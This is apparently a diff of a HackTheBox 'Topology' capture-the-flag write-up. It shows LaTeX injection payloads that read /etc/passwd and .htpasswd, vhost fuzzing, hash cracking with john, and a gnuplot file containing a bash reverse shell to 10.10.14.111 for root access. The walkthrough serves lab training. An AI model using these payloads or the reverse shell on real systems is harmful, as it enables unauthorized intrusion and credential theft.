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HackTheBox/Topology.md
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@ -1,6 +1,8 @@
HackTheBox - Topology # HackTheBox - Topology
NMAP
## NMAP
```bash
Nmap scan report for 10.10.11.217 Nmap scan report for 10.10.11.217
Host is up (0.20s latency). Host is up (0.20s latency).
Not shown: 65533 closed tcp ports (reset) Not shown: 65533 closed tcp ports (reset)
@ -16,27 +18,50 @@ PORT STATE SERVICE VERSION
|_http-title: Miskatonic University | Topology Group |_http-title: Miskatonic University | Topology Group
|_http-server-header: Apache/2.4.41 (Ubuntu) |_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
PORT (80) ## PORT (80)
Visiting the webserver, we'll have a static page Visiting the webserver, we'll have a static page
This page lists software projects, out of which Latex Equation Generator takes us to `latex.topology.htb <img src="https://i.imgur.com/nYjZ5OX.png"/>
Adding the domain name in /etc/hosts file This page lists software projects, out of which Latex Equation Generator
takes us to `latex.topology.htb
Putting \input{/etc/passwd} will result to an illegal command <img src="https://i.imgur.com/5RgHI76.png"/>
<img src="https://i.imgur.com/niyLqk6.png"/>
Adding the domain name in `/etc/hosts` file
<img src="https://i.imgur.com/QPTxnsw.png"/>
<img src="https://i.imgur.com/r0Lg2Zz.png"/>
Putting `\input{/etc/passwd}` will result to an illegal command
<img src="https://i.imgur.com/xleqN1d.png"/>
<img src="https://i.imgur.com/TYGGTRX.png"/>
Most of the commands were blacklisted, we can only read the first line of files with: Most of the commands were blacklisted, we can only read the first line of files with:
```tex
\newread\file \newread\file
\openin\file=/etc/passwd \openin\file=/etc/passwd
\read\file to\line \read\file to\line
\text{\line} \text{\line}
\closein\file \closein\file
```
<img src="https://i.imgur.com/q1jPyzz.png"/>
We can make it read more lines but the limit was 3-4 lines We can make it read more lines but the limit was 3-4 lines
```tex
\newread\file \newread\file
\openin\file=/etc/passwd \openin\file=/etc/passwd
\read\file to\line \read\file to\line
@ -48,47 +73,93 @@ We can make it read more lines but the limit was 3-4 lines
\read\file to\line \read\file to\line
\text{\line} \text{\line}
\closein\file \closein\file
```
<img src="https://i.imgur.com/3gVYWjf.png"/>
Exceeding 4 lines, we'll get an error Exceeding 4 lines, we'll get an error
<img src="https://i.imgur.com/opJdPJ9.png"/>
Visiting the site the site with it's root directory / will reveal directory listing having tempfolder, in that folder we'll find texput.log Visiting the site the site with it's root directory `/` will reveal directory listing having `tempfolder`, in that folder we'll find `texput.log`
So `\write18` is restricted, we cannot use it to execute commands neither read files, we can try fuzzing for vhosts using `wfuzz ` ```bash wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://topology.htb' -H "Host: FUZZ.topology.htb" --hh 6767 ``` <img src="https://i.imgur.com/T8senjo.png"/>
This finds two more vhosts, dev and stats, stats site doesn't really have much <img src="https://i.imgur.com/KrXeZpW.png"/>
So `\write18` is restricted, we cannot use it to execute commands neither read files, we can try fuzzing for vhosts using `wfuzz
`
```bash
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://topology.htb' -H "Host: FUZZ.topology.htb" --hh 6767
```
<img src="https://i.imgur.com/VD6jSN8.png"/>
This finds two more vhosts, `dev` and `stats`, stats site doesn't really have much
<img src="https://i.imgur.com/AXgEtzd.png"/>
Dev site asks for credentials to access the site Dev site asks for credentials to access the site
Since the latex on the site is using inline math mode , we can try using lsinputlisting for reading local files and we need to use it with $ at the beginning and ending of the latex command <img src="https://i.imgur.com/XFM2XYc.png"/>
Since the latex on the site is using `inline math mode` , we can try using `lsinputlisting` for reading local files and we need to use it with `$` at the beginning and ending of the latex command
```tex
$\lstinputlisting{/etc/passwd}$ $\lstinputlisting{/etc/passwd}$
```
With this we can access the whole /etc/passwd file and see that the sites are being hosted in /var/www <img src="https://i.imgur.com/pLdmtMu.png"/>
We can read /var/www/dev/.htaccess file which shows that there's .htpasswd file With this we can access the whole /etc/passwd file and see that the sites are being hosted in `/var/www`
vadaisley's hash can be cracked with john <img src="https://i.imgur.com/U7svMyW.png"/>
We can read `/var/www/dev/.htaccess` file which shows that there's `.htpasswd` file
<img src="https://i.imgur.com/FGVAmvx.png"/>
<img src="https://i.imgur.com/kpzzPFv.png"/>
`vadaisley's` hash can be cracked with john
```bash
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt
```
<img src="https://i.imgur.com/szYfpCz.png"/>
And now we can login through ssh And now we can login through ssh
Checking sudo -l this user cannot run any commands as root or any user <img src="https://i.imgur.com/XMd5SsJ.png"/>
In /opt there's folder gnuplot where we have only write access Checking `sudo -l` this user cannot run any commands as root or any user
From pspy we see gnuplot being ran as the root user and executing plt files <img src="https://i.imgur.com/rtRVy7p.png"/>
We can create a plt file with a bash reverse shell and move it in /opt/gnuplot In `/opt` there's folder `gnuplot` where we have only write access
<img src="https://i.imgur.com/7xZmjDm.png"/>
From `pspy` we see gnuplot being ran as the root user and executing plt files
<img src="https://i.imgur.com/f7olWjh.png"/>
We can create a plt file with a bash reverse shell and move it in `/opt/gnuplot`
```bash
system "bash -i >& /dev/tcp/10.10.14.111/2222 0>&1" system "bash -i >& /dev/tcp/10.10.14.111/2222 0>&1"
```
After few seconds we'll see our plt being executed as root and receive a connection on our listener with a root shell <img src="https://i.imgur.com/XooC51X.png"/>
References After few seconds we'll see our plt being executed as root and receive a connection on our listener with a root shell
https://0day.work/hacking-with-latex/ <img src="https://i.imgur.com/34ASzjj.png"/>
https://texdoc.org/serve/latex2e.pdf/0
https://www1.cmc.edu/pages/faculty/aaksoy/latex/latexthree.html
https://en.wikibooks.org/wiki/LaTeX/Source_Code_Listings
http://www.gnuplot.info/docs_4.2/node327.html ## References
- https://0day.work/hacking-with-latex/
- https://texdoc.org/serve/latex2e.pdf/0
- https://www1.cmc.edu/pages/faculty/aaksoy/latex/latexthree.html
- https://en.wikibooks.org/wiki/LaTeX/Source_Code_Listings
- http://www.gnuplot.info/docs_4.2/node327.html